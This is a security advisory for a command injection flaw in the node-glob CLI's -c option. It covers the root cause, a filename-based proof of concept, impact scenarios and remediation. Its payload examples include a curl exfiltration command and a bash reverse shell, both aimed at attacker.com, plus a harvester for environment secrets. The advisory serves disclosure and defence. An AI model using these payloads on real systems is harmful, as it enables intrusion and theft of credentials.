### GitHub Vulnerability Alerts
####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
### Summary
The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.
### Details
**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
**Technical Flow:**
1. User runs `glob -c <command> <pattern>`
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)
**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content
### PoC
**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
**Trigger Vulnerability:**
```bash
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges
**Advanced Payload Examples:**
**Data Exfiltration:**
```bash
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
**Reverse Shell:**
```bash
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
**Environment Variable Harvesting:**
```bash
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
### Impact
**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
**Real-World Attack Scenarios:**
**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering
**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services
**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform
### Affected Products
- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.2.0 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0and 10.5.0
**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable
### Remediation
- Upgrade to `[email protected]`, `[email protected]`, or higher, as soon as
possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but take care to ensure that no untrusted contents can
possibly be encountered in the file path results.
